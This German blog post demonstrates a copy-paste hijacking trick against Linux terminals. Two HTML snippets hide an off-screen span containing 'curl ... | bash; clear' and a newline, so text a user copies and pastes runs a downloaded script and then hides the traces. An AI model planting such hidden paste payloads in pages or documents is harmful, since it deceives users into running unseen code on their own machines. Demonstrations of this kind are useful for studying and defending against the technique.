Hacking mit der Linux Zwischenablage

Ein auf Heise vorgestellter Copy&Paste Trick hat meine Aufmerksamkeit erregt. Dort wird beschrieben, wie durch Setzen eines <span>-Elements, dass in einen nicht sichtbaren Bereich verschoben wird, ahnungslosen Linux-/BSD-Nutzern Code untergeschoben werden kann. Der Trick funktioniert bei erschreckend vielen Browsern, wie ein kurzer Test zeigte.

Die getesteten Browser waren:

  • Firefox 20
  • Firefox 23.0a1
  • Opera 12.02
  • Opera 12.15
  • Chromium 25.0.1364.160

Jeweils mit xterm und dem XFCE Terminal in Version 0.4.8 unter verschiedenen Ubuntu-Versionen.

Entscheidend für die Effektivität des Tricks ist, dass die kopierten Befehle beim Einfügen unmittelbar ausgeführt werden. Dafür muss nur sichergestellt werden, dass ein Newline-Zeichen mit in der Zwischenablage landet. Ergänzt man den Tip von Heise durch ein solches Zeichen und fügt dem untergeschobenen Befehl ein clear an, wird der Tip direkt doppelt nützlich.

Beispiele

Hier zwei Varianten, die das gewünschte Ergebnis liefern.

<html>
<!-- notice the newline after the hidden command inserted using a html <br>  -->
<p><pre>echo<span style="position: absolute; left: -1000px; top: -1000px"> ""; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo <br></span> Hallo Welt!<br></pre></p>
</html>
<html>
<!-- notice the newline after the hidden command inserted using a raw newline -->
<p><pre>echo<span style="position: absolute; left: -1000px; top: -1000px"> ""; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo
</span> Hallo Welt!<br></pre></p>
</html>

Ergebnis

Bei Auswahl des scheinbar harmlosen Textes aus dem ersten Bild und Übertragung in einen Terminal-Emulator mittels mittlerer Maustaste oder STRG-V werden direkt Befehle ausgeführt.

Bildschirmfoto - 25.04.2013 - 15:23:13 Bildschirmfoto - 25.04.2013 - 15:25:00


UPDATE: Danke für die Unterstützung durch weitere Tests und die beiden Hinweise auf meine Fehler in der ersten Version dieses Posts. Als die Aufmerksamkeit zu Ende ging, war noch soviel Tag übrig.

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.